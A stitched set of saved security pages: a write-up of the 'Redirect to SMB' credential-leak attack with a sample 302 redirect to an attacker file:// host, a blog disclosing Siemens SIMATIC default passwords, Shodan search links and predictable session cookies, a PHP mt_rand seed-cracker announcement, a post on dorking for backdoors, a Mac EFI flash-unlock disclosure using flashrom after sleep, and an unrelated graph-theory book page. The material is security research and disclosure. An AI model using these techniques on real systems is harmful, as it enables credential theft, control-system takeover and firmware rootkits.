Aaron Spangler, who found that supplying URLs beginning with the word “
_file”_ \(such as file://1.1.1.1/\) to Internet Explorerwould cause the
operating system to attempt to authenticate with a SMB server at the IP
address _1.1.1.1. It’s a serious issue because stolen credentials can be used
to break into private accounts, steal data, take control of PCs and establish
a beachhead for moving deeper into a targeted network._ These “file” URLs
could be provided as an image, iframe, or any other web resource resolved by
the browser.

We uncovered Redirect to SMB while hunting for ways to abuse a chat client
feature that provides image previews. When a URL to an image was received, the
client attempted to show a preview of the image. Inspired by Aaron’s research
some 18 years ago, we promptly sent another user a URL starting with _file://_
which pointed to a malicious SMB server. Surely enough, the chat client tried
to load the image, and the Windows user at the other end attempted to
authenticate with our SMB server.

<img src='img/Temp2_7177.png' alt='RedirectToSMB-Diagram-1' />

While conducting previous research on network protocols, we had experimented
with redirecting ordinary HTTP requests to web servers to identify new
attacks. So we were curious to see what threats SMB posed when combined with
redirects. We created an HTTP server in Python that answered every request
with a simple HTTP 302 status code to redirect clients to a _file://_ URL, and
using that we were able to confirm that an _http://_ URL could lead to an
authentication attempt from the OS.

[code]

    GET / HTTP/1.1  
    Accept: text/html, application/xhtml+xml, */*  
    Accept-Language: en-US  
    User-Agent: Mozilla/5.0,( Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko  
    Accept-Endoding: gzip, deflate  
    Host: 192.168.36.207  
    DNT: 1  
    Connection: Keep-Alive
[/code]

[code]

    HTTP/1.1 302 Found
[/code]

[code]

    Content-Type: text/html
[/code]

[code]

    Location: file://192.168.36.207/mitmproxy-identifier
[/code]

[code]

    Content-Length: 0  
      
      
    
[/code]

<img src='img/Temp2_7175.png' alt='RedirectToSMB-Diagram-02' />

## Increased Attack Surface

We identified four commonly used Windows API functions that allow for
redirection from HTTP/HTTPS to SMB. Early testing found that they are used by
a wide range of software features such as updaters and usage reporting tools.

This discovery opened up a wide range of new attack methods. When combined
with a man-in-the-middle attack, an attacker can force authentication attempts
with an SMB server using susceptible applications and services that transmit
data over HTTP or HTTPS.

<img src='img/Temp2_7176.png' alt='RedirectToSMB-Diagram-03' />

## Affected Applications

We tested dozens of application in our lab, uncovering 31 vulnerable software
packages, which we disclosed to CERT at Carnegie Mellon University on Feb. 27,
2015. They include:

_**Widely Used Applications:** _

Adobe Reader, Apple QuickTime and Apple Software Update \(which handles the
updating for iTunes\)

**_Microsoft Applications:_ **

Internet Explorer, Windows Media Player, Excel 2010, and even in Microsoft
Baseline Security Analyzer

_**Antivirus:**_

Symantec’s Norton Security Scan, AVG Free, BitDefender Free, Comodo Antivirus

_**Security Tools:**_

.NET Reflector, Maltego CE

_**Team Tools:**_

Box Sync, TeamViewer

_**Developer Tools:**_

Github for Windows, PyCharm, IntelliJ IDEA, PHP Storm, JDK 8u31’s installer

## Impact

Redirect to SMB is most likely to be used in targeted attacks by advanced
actors because attackers must have control over some component of a victim’s
network traffic.

Malicious ads could also be crafted that would force authentication attempts
from IE users while hiding malicious behavior from those displaying the
advertising.

Less sophisticated attackers could launch Redirect to SMB attacks on shared
WiFi access points at locations such as coffee shops from any computer,
including mobile devices. We successfully tested this attack on a home network
using a Nexus 7 loaded with all required tools.

## Examples

The following examples show different attacks that could be conducted. In
order to effectively demonstrate attack scenarios, the conditions have been
simplified. The following are the IP addresses of the computers in the
examples:

[code]

    • 192.168.36.207 – The Attacker
[/code]

[code]

    • 192.168.36.247 – The Victim
[/code]

[code]

    • 192.168.36.128 – The Router/Internet Gateway
[/code]

The tools in the examples are as follows:

[code]

    • SMBTrap2
[/code]

[code]

    • SMBTrap-mitmproxy-inline.py
[/code]

[code]

    • MITMProxy
[/code]

[code]

    • Zarp
[/code]

Additional attack examples are discussed in the white paper.

### Attacking AVG via ARP Poisoning

### Attacking Microsoft Baseline Security Analyzer via modified DNS record

### Encrypted Credentials

While the user credentials sent over SMB are commonly encrypted, the
encryption method used was devised in 1998 and is weak by today’s standards. A
stronger hashing algorithm being used on these credentials would decrease the
impact of this issue, but not as much as disabling automatic authentication
with untrusted SMB servers. With roughly $3,000 worth of GPUs, an attacker
could crack any 8-character password consisting of letters \(upper and lower
case\) as well as numbers in less than half a day.

## Mitigations

Microsoft has yet to release a patch to fix the Redirect to SMB vulnerability.
The simplest workaround is to block outbound traffic from TCP 139 and TCP 445
-- either at the endpoint firewall or at the network gateway’s firewall
\(assuming you are on a trusted network\). The former will block all SMB
communication, which may disable other features that depend on SMB. If the
block is done at the network gateway’s firewall, SMB features will still work
inside the network, but prevent authentication attempts with destinations
outside the network. See the white paper for other mitigation steps.

Microsoft did not resolve the issue reported by Aaron Spangler in 1997. We
hope that our research will compel Microsoft to reconsider the vulnerabilities
and disable authentication with untrusted SMB servers. That would block the
attacks identified by Spangler as well as the new Redirect to SMB attack.

DOWNLOAD THE WHITE PAPER

# Billy \(BK\) Rios » The Siemens SIMATIC Remote, Authentication Bypass \(that
doesn’t exist\)

**Created:**| _12/22/2011 1:22:22 PM_  
---|---  
**Updated:**| _12/22/2011 1:22:22 PM_  
**Author:**| __  
**Tags:**| _automation_  
  

### The Siemens SIMATIC Remote, Authentication Bypass \(that doesn’t exist\)

I have been working with ICS-CERT and various vendors over the last year,
finding bugs and “responsibly” reporting nearly 1000 bugs… all for free and in
my spare time. Overall, its been a great experience. Most of the vendors have
been great to work with and ICS-CERT has done a great job managing all the
bugs I’ve given them. In May of this year, I reported an authentication bypass
for Siemens SIMATIC systems. These systems are used to manage Industrial
Control Systems and Critical Infrastructure. I’ve been patiently waiting for a
fix for the issue which affects pretty much every Siemens SIMATIC customer.
Today, I was forwarded the following from Siemens PR \(Alex Machowetz\) via a
Reuters reporter that made an inquiry about the bugs we reported:

> “I contacted our IT Security experts today who know Billy Rios…. They told
> me that there are no open issues regarding authentication bypass bugs at
> Siemens.”
For all the other vendors out there, please use this as a lesson on how
**NOT** to treat security researchers who have been freely providing you
security advice and have been quietly sitting for half a year on remote
authentication bypasses for your products.

Since Siemens has _“no open issues regarding authentication bypass bugs”_ , I
guess it’s OK to talk about the issues we reported in May. Either that or
Siemens just **blatantly lied** to the press about the existence of security
issues that could be used to damage critical infrastructure…. but Siemens
wouldn’t lie… so I guess there is no authentication bypass.  

<img src='img/Temp2_1029.png' width='300' height='225' alt='These aren't the
Auth Bypasses you're looking for' />

These aren't the Auth Bypasses you're looking for

  
First, the default password for Siemens SIMATIC is “100”. There are three
different services that are exposed when Siemens SIMATIC is installed; Web,
VNC, and Telnet. The default creds for the Web interface is
_“Administrator:100”_ and the VNC service only requires the user enter the
password of _“100”_\(there is no user name\). This is likely the vector pr0f
used to gain access to South Houston \(but only he can say for sure\). All the
services maintain their credentials separately, so changing the default
password for the web interface doesn’t change the VNC password \(and vice
versa\). I’ve found MANY of these services listening on the Internet… in fact
you can find a couple here: http://www.shodanhq.com/search?q=simatic+HMI  
https://www.google.com/?\#q=%22SIMATIC+HMI+Miniweb+on%22

<img src='img/Temp2_1028.png' width='300' height='251' alt='But WAIT, there's
MORE!' />

But WAIT, there's MORE\!

  
But WAIT… there’s MORE\! If a user changes their password to a new password
that includes a special character, the password may automatically be reset to
“100”. Yes, you read that correctly… if a user has any special characters in
their password, it may be reset to “100”. You can read about these awesome
design decisions \(and many others\) in the Siemens user manuals.

But WAIT… there’s MORE\! So I took a look at what happens when an
Administrator logs into the Web HMI. Upon a successful login, the web
application returns a session cookie that looks something like this:

> žEAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTM3NzQ2OCoxNyo=
Looks pretty secure… right? Well, I harvested sessions from repeated,
successful logins and this is what I saw:

> EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTM3NzQ2OCoxNyo=  
>  EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTM5MzQ2OCoxOCo=  
>  EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQwOTQ4NCoxOSo=  
>  EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQyNTQ4NCoyMCo=  
>  EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQ0MTUwMCoyMSo=  
>  EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQ1NzUwMCoyMio=  
>  EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQ3MzUxNSoyMyo=  
>  EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTQ4OTUxNSoyNCo=
Not so random huh…. If you decode these values, you’ll see something like
this:

> <STATIC VALUE>\*administrator\*11377468\*17\*  
>  <STATIC VALUE>\*administrator\*11393468\*18\*  
>  <STATIC VALUE>\*administrator\*11409484\*19\*  
>  <STATIC VALUE>\*administrator\*11425484\*20\*  
>  <STATIC VALUE>\*administrator\*11441500\*21\*  
>  <STATIC VALUE>\*administrator\*11457500\*22\*  
>  <STATIC VALUE>\*administrator\*11473515\*23\*  
>  <STATIC VALUE>\*administrator\*11489515\*24\*
Totally predictable. For those non-techies reading this… what can someone do
with this non-existent bug? They can use this to gain remote access to a
SIMATIC HMI which runs various control systems and critical infrastructure
around the world… aka they can take over a control system without knowing the
username or password. No need to worry though, as there are _“no open issues
regarding authentication bypass bugs at Siemens.”_

Next time, Siemens should think twice before lying to the press about security
bugs that could affect the critical infrastructure….to everyone else, Merry
Christmas

BK

# announce - \[openwall-announce\] php\_mt\_seed went beyond PoC

**Created:**| _11/7/2013 2:21:57 PM_  
---|---  
**Updated:**| _11/7/2013 2:21:57 PM_  
**Author:**| __  
**Tags:**| _LOLZ php_  
  

# \[openwall-announce\] php\_mt\_seed went beyond PoC****

\[<prev\]  \[day\]  \[month\]  \[year\]  \[list\]

[code]

    Date: Mon, 4 Nov 2013 06:11:22 +0400
    From: Solar Designer <solar@...nwall.com>
    To: announce@..**.** ts.openwall.com
    Subject: [openwall-announce] php_mt_seed went beyond PoC
    
    Hi,
    
    With the functionality added in October, our php_mt_seed PHP mt_rand()
    seed cracker is no longer just a proof-of-concept, but is a tool that
    may actually be useful, such as for penetration testing**.**  It is now a
    maintained project with its own homepage:
    
    http://www.openwall.com/php_mt_seed/ 
    
    Changes implemented in October, leading up to version 3**.** 2, include
    addition of AVX2 and Intel MIC (Xeon Phi) support, and more importantly
    support for advanced invocation modes, which allow matching of multiple,
    non-first, and/or inexact mt_rand() outputs to possible seed values**.**
    
    The revised README file provides php_mt_seed usage examples (both
    trivial and advanced), as well as benchmarks on a variety of systems
    (ranging from quad-core CPU to 16-core server and to Xeon Phi):
    
    http://www.openwall.com/php_mt_seed/README 
    
    With the new AVX2 support, php_mt_seed searches the full 32-bit seed
    space on a Core i7-4770K CPU in 48 seconds**.**  On Xeon Phi 5110P, it does
    the same in 7 seconds.  In advanced invocation modes, the running times
    are slightly higher, but are still very acceptable**.**
    
    For example, let's generate 10 random numbers in the range 0 to 9:
    
    $ php5 -r 'mt_srand(1234567890); for ($i = 0; $i < 10; $i++) { echo mt_rand(0, 9), " "; } echo "\n";'
    6 6 4 1 1 2 8 4 5 8
    
    and find the seed(s) based on these 10 numbers using our HPC Village
    machine's CPUs (2x Xeon E5-2670):
    
    [solar@..**.** er php_mt_seed-3.2]$ GOMP_CPU_AFFINITY=0-31 time ./php_mt_seed 6 6 0 9  6 6 0 9  4 4 0 9  1 1 0 9  1 1 0 9  2 2 0 9  8 8 0 9  4 4 0 9  5 5 0 9  8 8 0 9
    Pattern: EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10
    Found 0, trying 1207959552 - 1241513983, speed 222870766 seeds per second 
    seed = 1234567890
    Found 1, trying 4261412864 - 4294967295, speed 222760735 seeds per second 
    Found 1
    615**.** 57user 0.00system 0:19.28elapsed 3192%CPU (0avgtext+0avgdata 3984maxresident)k
    0inputs+0outputs (0major+292minor)pagefaults 0swaps
    
    We found the correct seed (and there turned out to be only one such
    seed) in under 20 seconds**.**
    
    What if we did not know the very first mt_rand() output (had only 9
    known values out of 10, in this example)**?**  Let's specify "0 0 0 0" to
    have php_mt_seed skip the first output:
    
    [solar@..**.** er php_mt_seed-3.2]$ GOMP_CPU_AFFINITY=0-31 time ./php_mt_seed 0 0 0 0  6 6 0 9  4 4 0 9  1 1 0 9  1 1 0 9  2 2 0 9  8 8 0 9  4 4 0 9  5 5 0 9  8 8 0 9
    Pattern: SKIP EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10
    Found 0, trying 469762048 - 503316479, speed 203360193 seeds per second 
    seed = 485860777
    Found 1, trying 637534208 - 671088639, speed 203036371 seeds per second 
    seed = 641663289
    Found 2, trying 1073741824 - 1107296255, speed 202975770 seeds per second 
    seed = 1091847690
    Found 3, trying 1207959552 - 1241513983, speed 203018412 seeds per second 
    seed = 1234567890
    Found 4, trying 3388997632 - 3422552063, speed 203177316 seeds per second 
    seed = 3414448749
    Found 5, trying 4261412864 - 4294967295, speed 203117867 seeds per second 
    Found 5
    675**.** 08user 0.00system 0:21.14elapsed 3192%CPU (0avgtext+0avgdata 4000maxresident)k
    0inputs+0outputs (0major+291minor)pagefaults 0swaps
    
    We found 4 extra seeds, and the speed is slightly lower (by the way,
    there's much room for optimization in handling of cases like this -
    maybe later)**.**  The original seed value was found as well.
    
    Other (and possibly more) mt_rand() outputs could be specified and/or
    skipped as well, and/or ranges of possible values could be specified**.**
    The mt_rand() output range does not have to be 0 to 9, too - any other
    range supported by PHP's mt_rand() is also supported in php_mt_seed**.**
    
    Enjoy, and please spread the word.
    
    Alexander
    
[/code]

Powered by blists  \- more mailing lists

****

# Google Dorks: fighting fire with fire - Securelist

**Created:**| _7/9/2010 6:44:25 PM_  
---|---  
**Updated:**| _7/9/2010 6:44:47 PM_  
**Author:**| __  
**Tags:**| _botnets intelligence searching OSINT Distributed systems_  
  

# Google Dorks: fighting fire with fire

David Jacoby  
Kaspersky Lab Expert  
Posted July 09, 08:36 GMT  
Tags: Botnets, Non-Windows Malware, Website Hacks, Search Engines, Credit
Cards

0.3

  

During my recent research into PHP backdoors, bots and shells, I came across a
few IRC servers which looked pretty suspicious. After lurking in these
channels I noticed that most of them were all about controlling botnets,
automated exploitation and credit card fraud. This isn’t news – channels and
IRC servers like this have been a hot media topic for the last five years. The
question is, though, how can we find them so we can shut them down?

Digging a bit deeper in some of the channels, and looking the websites people
were talking about in these channels, I started to see patterns. For example,
some of the websites use the same words, phrases and layout. By combining
these terms and creating a simple rotation algorithm I could use search
engines to find websites offering illegal stuff such as credit card data and
skimming tools.

<img src='img/Temp2_3523.gif' />

It’s not just the websites that use the same words and phrases. The IRC
channels also use kind of the same information. Some IRC channel information
actually gets indexed by bots, and if the owners of these websites use any
semi-public IRC network, their channel will get indexed. Looking at, for
example, the color schemes in channel topics, or specific words and phrases,
it’s extremely easy to find these sites through simple search engine queries.

But I found out that instead of identifying the actual IRC server, you can
identify the backdoor a hacker has installed on a compromised host. Most of
the backdoors I identified were either written in PHP or Perl. The bots
written in Perl were, in most cases, downloaded and executed by a PHP
backdoor. Since the PHP backdoors are web based, even they are indexed by
search engines :\) So through these search engines you can find the backdoors,
and the backdoors have the function to read arbitrary files, which makes it
pretty simple to read the source code of the backdoor or IRC-bot, which
contains specific information about the relevant IRC server\!

Looking at some backdoors, I noticed that they don’t just install other
backdoors, they also install phishing websites. The backdoors led me on a
trail which ended up at a website offering a complete archive of phishing
websites - BankOfAmerica.com, WesternUnion.com, PayPal, CITY Bank etc.

<img src='img/Temp2_3523.gif' />

What’s quite ironic is that these hackers use something called “Google Dorks”
to find vulnerable sites, but we can also use “Google Dorks” to find the
attackers and their IRC channels.

And a funny footnote: while writing this, I was listening to a song by the
drum ‘n’ bass band “The Qemists” where they sing: “If you play with fire, you
will get burned” :\)

  

Comments

If you would like to comment on this article you must first

login

  

# The Empire Strikes Back Apple - how your Mac firmware security is completely broken | Reverse Engineering Mac OS X
**Created:**| _6/1/2015 12:51:20 PM_  
---|---  
**Updated:**| _6/1/2015 12:51:20 PM_  
**Author:**| __  
**Tags:**| _Mac-hacking Firmware_  
  

# The Empire Strikes Back Apple – how your Mac firmware security is completely
broken

If you are a rootkits fan the latest Chaos Communication Congress \(CCC\) in
2014 brought us two excellent presentations, Thunderstrike by Trammell Hudson
and Attacks on UEFI security, inspired by Darth Venami’s misery and Speed
Racer by Rafal Wojtczuk and Corey Kallenberg.

The first one was related to the possibility to attack EFI from a Thunderbolt
device, and the second had a very interesting vulnerability regarding the UEFI
boot script table. The greatest thing about the second vulnerability is that
it allows to unlock flash protections by modifying the boot script executed
after a S3 suspend-resume cycle.

Dmytro Oleksiuk aka Cr4sh released proof of concept code regarding this attack
against an Intel DQ77KB motherboard. His very interesting blog post is
“Exploiting UEFI boot script table vulnerability”. You should definitely read
it.

My interest in EFI has been mostly about unlocking a firmware password that I
forgot. While Trammell didn’t release the proof of concept code for
Thunderstrike he did release an awesome tool, a SPI Flash reader for Teensy
2.x that is extremely fast reading the BIOS contents \(takes a few minutes\).
This was a great improvement versus BusPirate which took hours to just read
the BIOS memory. Months before I tried to get into EFI world but the BusPirate
was so slow it was impossible to use it for trial and error testing. The new
tool got my interest back into EFI. Anyway, enough bla bla.

Trammell on his presentation mentioned the possiblity that Macs could also be
vulnerable to the Dark Jedi attack. After Cr4sh blog post I decided to give it
a try and explore the same attack.

The attack requires you to reverse the boot script implementation, which is a
royal pain in the ass. EFI binaries are a bit annoying to reverse even with
the assistance of Snare’s EFI utils. IDA also has some bugs regarding EFI
binaries.  
While doing some experiments with flashrom I finally noticed something big. I
couldn’t believe it the first time so I tried it in other Macs and it was
indeed true. Macs have an even bigger hole than Dark Jedi.

Drum roll…

What is that hole after all? Is Dark Jedi hard to achieve on Macs?  
No, it’s extremely easy because Apple does all the dirty work for you. What
the hell am I talking about?  
**Well, Apple’s S3 suspend-resume implementation is so f\*cked up that they
will leave the flash protections unlocked after a suspend-resume cycle. \!?\#$
&\#%&\!\#%&\!\#**

And you ask, what the hell does this mean? It means that you can overwrite the
contents of your BIOS from userland and rootkit EFI without any other trick
other than a suspend-resume cycle, a kernel extension, flashrom, and root
access.

Wait, am I saying Macs EFI can be rootkitted from userland without all the
tricks from Thunderbolt that Trammell presented? Yes I am\! And that is one
hell of a hole :-\).

Let me show you how it happens. The following is the flashrom output of a
freshly rebooted MacBook Pro Retina 10,1 running the latest EFI firmware
available \(this is the firmware that was released to “fix” Thunderstrike\).

[code]

    sh-3.2# ./flashrom -r biosdump -V -p internal
    flashrom v0.9.7-r1711 on Darwin 14.3.0 (x86_64)
    flashrom is free software, get the source code at http://www.flashrom.org
     
    (...)
    Found chipset "Intel HM77" with PCI ID 8086:1e57.
    (...)
    BIOS_CNTL = 0x01: BIOS Lock Enable: disabled, BIOS Write Enable: enabled
    Root Complex Register Block address = 0xfed1c000
    GCS = 0xc21: BIOS Interface Lock-Down: enabled, Boot BIOS Straps: 0x3 (SPI)
    Top Swap : not enabled
    SPIBAR = 0xfed1c000 + 0x3800
    0x04: 0xe008 (HSFS)
    HSFS: FDONE=0, FCERR=0, AEL=0, BERASE=1, SCIP=0, FDOPSS=1, FDV=1, FLOCKDN=1
    Warning: SPI Configuration Lockdown activated.
    Reading OPCODES... done
    0x06: 0x0004 (HSFC)
    HSFC: FGO=0, FCYCLE=2, FDBC=0, SME=0
    0x50: 0x0000ffff (FRAP)
    BMWAG 0x00, BMRAG 0x00, BRWA 0xff, BRRA 0xff
    0x54: 0x00000000 FREG0: Flash Descriptor region (0x00000000-0x00000fff) is read-write.
    0x58: 0x07ff0190 FREG1: BIOS region (0x00190000-0x007fffff) is read-write.
    0x5C: 0x018f0001 FREG2: Management Engine region (0x00001000-0x0018ffff) is read-write.
    0x74: 0x866f0190 PR0: Warning: 0x00190000-0x0066ffff is read-only.
    0x78: 0x9fff0692 PR1: Warning: 0x00692000-0x01ffffff is read-only.
    Writes have been disabled for safety reasons. You can enforce write
    support with the ich_spi_force programmer option, but you will most likely
    harm your hardware! If you force flashrom you will get no support if
    something breaks. On a few mainboards it is possible to enable write
    access by setting a jumper (see its documentation or the board itself).
    0x90: 0xc0 (SSFS)
    SSFS: SCIP=0, FDONE=0, FCERR=0, AEL=0
    0x91: 0xf94000 (SSFC)
    SSFC: SCGO=0, ACS=0, SPOP=0, COP=0, DBC=0, SME=0, SCF=1
    0x94: 0x0606     (PREOP)
    0x96: 0x3c6c     (OPTYPE)
    0x98: 0x0103029f (OPMENU)
    0x9C: 0xffd82005 (OPMENU+4)
    0xA0: 0x00000000 (BBAR)
    0xC4: 0x00800000 (LVSCC)
    LVSCC: BES=0x0, WG=0, WSR=0, WEWS=0, EO=0x0, VCL=1
    0xC8: 0x00002005 (UVSCC)
    UVSCC: BES=0x1, WG=1, WSR=0, WEWS=0, EO=0x20, VCL=0
    0xD0: 0x00000000 (FPB)
    (...)
[/code]  
---  
What we can see here is that the flash lockdown is active \(FLOCKDN=1\) and
that the BIOS region is mostly read-only. The hole that is writable is the
NVRAM portion that is necessary for setting boot options, crash logs and so
on. The addresses where EFI binaries are located is lock down by the flash
protections \(PR0/PR1\). The Dark Jedi attack would allow to unlock these
areas and make them writable.

After I close the MacBook and let it sleep for a few seconds \(30 seconds or
something is best, sometimes it doesn’t work and needs to sleep some extra
time\), we get the following flashrom output after waking up the machine:

[code]

    sh-3.2# ./flashrom -r biosdump2 -V -p internal
    flashrom v0.9.7-r1711 on Darwin 14.3.0 (x86_64)
    flashrom is free software, get the source code at http://www.flashrom.org
    (...)
    Found chipset "Intel HM77" with PCI ID 8086:1e57.
    (...)
    BIOS_CNTL = 0x01: BIOS Lock Enable: disabled, BIOS Write Enable: enabled
    Root Complex Register Block address = 0xfed1c000
    GCS = 0xc21: BIOS Interface Lock-Down: enabled, Boot BIOS Straps: 0x3 (SPI)
    Top Swap : not enabled
    SPIBAR = 0xfed1c000 + 0x3800
    0x04: 0x6008 (HSFS)
    HSFS: FDONE=0, FCERR=0, AEL=0, BERASE=1, SCIP=0, FDOPSS=1, FDV=1, FLOCKDN=0
    Programming OPCODES... done
    0x06: 0x0004 (HSFC)
    HSFC: FGO=0, FCYCLE=2, FDBC=0, SME=0
    0x50: 0x0000ffff (FRAP)
    BMWAG 0x00, BMRAG 0x00, BRWA 0xff, BRRA 0xff
    0x54: 0x00000000 FREG0: Flash Descriptor region (0x00000000-0x00000fff) is read-write.
    0x58: 0x07ff0190 FREG1: BIOS region (0x00190000-0x007fffff) is read-write.
    0x5C: 0x018f0001 FREG2: Management Engine region (0x00001000-0x0018ffff) is read-write.
    0x90: 0xc0 (SSFS)
    SSFS: SCIP=0, FDONE=0, FCERR=0, AEL=0
    0x91: 0xf94000 (SSFC)
    SSFC: SCGO=0, ACS=0, SPOP=0, COP=0, DBC=0, SME=0, SCF=1
    0x94: 0x5006     (PREOP)
    0x96: 0x463b     (OPTYPE)
    0x98: 0x05d80302 (OPMENU)
    0x9C: 0xc79f0190 (OPMENU+4)
    0xA0: 0x00000000 (BBAR)
    0xC4: 0x00800000 (LVSCC)
    LVSCC: BES=0x0, WG=0, WSR=0, WEWS=0, EO=0x0, VCL=1
    0xC8: 0x00002005 (UVSCC)
    UVSCC: BES=0x1, WG=1, WSR=0, WEWS=0, EO=0x20, VCL=0
    0xD0: 0x00000000 (FPB)
    (...)
[/code]  
---  
This time we have FLOCKDN=0 and the protected range registers \(PR0/PR1\)
without any contents. The flash is unlocked and now you can use flashrom to
update its contents from userland, including EFI binaries. It means
Thunderstrike like rootkit strictly from userland.

Which Macs are vulnerable to this?

I have tested against a MacBook Pro Retina, a MacBook Pro 8,2, and a MacBook
Air, all running latest EFI firmware available. And every single one is
vulnerable.  
It appears that latest MacBook models are not vulnerable but I’m not 100% sure
about this. I couldn’t fully test it on a recent model \(the owner was afraid
of giving me root access ;-\)\). The first impression was that the bug was
silently fixed by Apple but this requires extensive testing to be sure \(or
some EFI binary disassembling\).  
I expect all mid/late 2014 machines and newer to not be vulnerable. Apple
either fixed it by accident or they know about it. It’s not something you just
fix by accident, just sayin’.

I’m pretty sure Apple is aware of the bug or at least it would be quite
irresponsible from them to not test if their BIOS implementation was
vulnerable to the Dark Jedi attack. I had no issues doing PoC tests with it
but definitely needs other people to test it out \(at least to find which
other Macs are vulnerable\).

How can you protect yourself from this?  
Do not let your computer sleep and always shutdown it.  
**You should also email Apple and demand firmware security fixes for this bug
and others to be presented at Defcon 23 –ThunderStrike 2: Sith Strike.**  
This is not full protection since the full Dark Jedi is most probably still
possible to execute. The only real fix is Apple to update the firmware.

Unfortunately I never finished reversing the S3 suspend-resume EFI binaries so
I can’t show exactly where the bug is inside the code. It requires some
improvements to current EFI reversing tools and other matters got higher
priority than this.

There is also something funny. Flashrom requires DirectHW.kext to work. The
funny thing is that this kext is on Apple’s exception list so no kext
signature is required to load this one on Mavericks/Yosemite ;-\).

Oh, is this irresponsible disclosure? Well I’m pretty sure Apple knows about
this one but I could be very wrong. I’m confident Corey and Trammell disclosed
this one to Apple and they will discuss it on their upcoming Defcon talk. If
I’m wrong I just wasted a nice and valuable bug. Ooops\!\!\!\!  
Either way the goal is to pressure them to fix their firmware. It doesn’t seem
they are in a hurry ;-\).

Why no fancy logo and name?  
Well, because this is a variation of the Dark Jedi attack and I’m old school.
I still believe knowledge should be shared for everyone to learn instead of PR
whoring. And I already get enough PR from this blog ;-\).

**Update:**

It appears I miscalculated this thing and appears to be an effective 0day.
Doesn’t really matter since I always wanted to disclose it and not sell it due
to its very powerful nature \(and not working in newer machines\). **Never
assume all bugs are shallow**.

You might ask if I am into something against Apple judging by the tone of some
posts. I am not. I like OS X and I respect Apple security people who I met a
few times. My goal is to make OS X better and more secure.  
The issue at stake is that I believe Apple has a corporate culture problem
regarding security \(like Microsoft had many years ago\) and they only seem to
react when pushed against a corner. If they indeed knew about the bug –
because I don’t believe it’s a coincidence not working in latest machines –
then they keep their pattern of not patching older versions. This is a bad
policy and at least if they want to put it in practice at least be
straightforward with customers and warn them about the issues. People can then
take informed decisions about their risks. Of course this is wishful thinking
and they will not shoot their own foot coming forward with things like this.
But that’s a philosophical discussion about management around the world and
why it’s so wrong these days.

How can you mitigate/detect a possible EFI compromise?

You can build a SPI dumper and use Trammell’s software to directly dump the
BIOS chip. Then you can compare its contents against the firmware files
provided by Apple. I asked Apple to start publishing these files and their
signatures so we can have a good baseline to compare against. Hopefully they
will do this one day. I built some tools for this purpose but they aren’t
public.  
This solves the EFI problem but others are left. For example there is SMC.
Alex Ionescu made a very interesting presentation about it a few years ago at
NoSuchCon. SMC has a very interesting potential for compromise so it’s also
something that needs more research. And now we have PoC regarding GPU
rootkits. Every single chip that has firmware and somehow talks to the
operating system is open for compromise. We need to think different and start
a trust chain from hardware to software. Everyone is trying to solve problems
starting from software when the hardware is built on top of weak foundations.  
**Apple has a great opportunity here because they control their full supply
chain and their own designs. I hope they finally see the light and take over
this great opportunity.** Google is trying with Chromebook.

Is physical access required to exploit this bug?

No, there’s no physical access required to exploit this. You can trigger sleep
with “sudo pmset sleepnow” \(thanks Trammell\). And then you just wait to come
back from sleep and continue exploitation.

How to test for this bug?

Downloading DarwinDumper and load the DirectHW.kext kernel extension. Then you
can use flashrom with “flashrom -r biosdump -V -p internal” to dump the bios
and show the register contents. Else you can compile yourself DirectHW.kext
and also flashrom. DarwinDumper just works out of the box and its kext appears
to be legit \(it’s on Apple exclusion list so at least Apple trusts it ;-\)\).

Have fun,  
fG\!

P.S.: The bug can be used with a Safari or other remote vector to install an
EFI rootkit without physical access. The only requirement is that a suspended
happened in the current session. I haven’t researched but you could probably
force the suspend and trigger this, all remotely. That’s pretty epic ownage
;-\).

# graph-theory-algorithms-book - Project Hosting on Google Code

**Created:**| _3/19/2010 2:45:09 PM_  
---|---  
**Updated:**| _3/19/2010 2:45:27 PM_  
**Author:**| __  
**Tags:**| _bookmark Graphs programming book awesome_  
  

_My favorites_ ▼ | _Sign in_
<img src='img/Temp2_10266.png' alt='Logo' />| graph-theory-algorithms-book _A
graph theory book by David Joyner, Minh Van Nguyen, and Nathann Cohen_|  
---|---|---  
Project Home|  | Downloads|  | Wiki|  | Issues|  | Source|  |   
---|---|---|---|---|---|---|---|---|---|---  
Summary | Updates | People |   
---|---  
Code license:| GNU General Public License v2  
---|---  
Content license:| Creative Commons 3.0 BY-SA  
Labels:| sage, graphtheory, algorithms, python  
Show all **Featured downloads:**  
graph-theory-0.3.pdf graph-theory-0.3.tar.bz2 latest-r126.pdf
latest-r126.tar.bz2

Feeds:|

  * Project feeds

  
---|---  
People detailsProject owners:  
---  
| wdjoyner, nguyenmi...@gmail.com  
A GNU-FDL book on algorithmic graph theory by David Joyner, Minh Van Nguyen,
and Nathann Cohen. This is an introductory book on algorithmic graph theory.
Theory and algorithms are illustrated using the Sage open source mathematics
software. To get an overview of the book, you can view the table of contents
as shown below or download the complete book. **The latest revision of the
book is called latest-rxxx**.

  1. Introduction to Graph Theory
  2.     1. Graphs and digraphs
    2. Subgraphs and other graph types
    3. Representing graphs using matrices
    4. Isomorphic graphs
    5. New graphs from old
    6. Common applications
  3. Graph Algorithms
  4.     1. Graph searching
    2. Shortest Path Algorithms
    3.       1. Dijkstra's algorithm
      2. Bellman-Ford algorithm
      3. Floyd-Roy-Warshall algorithm
      4. Johnson's algorithm
  5. Trees and Forests
  6.     1. Properties of trees
    2. Minimum spanning trees
    3. Binary trees
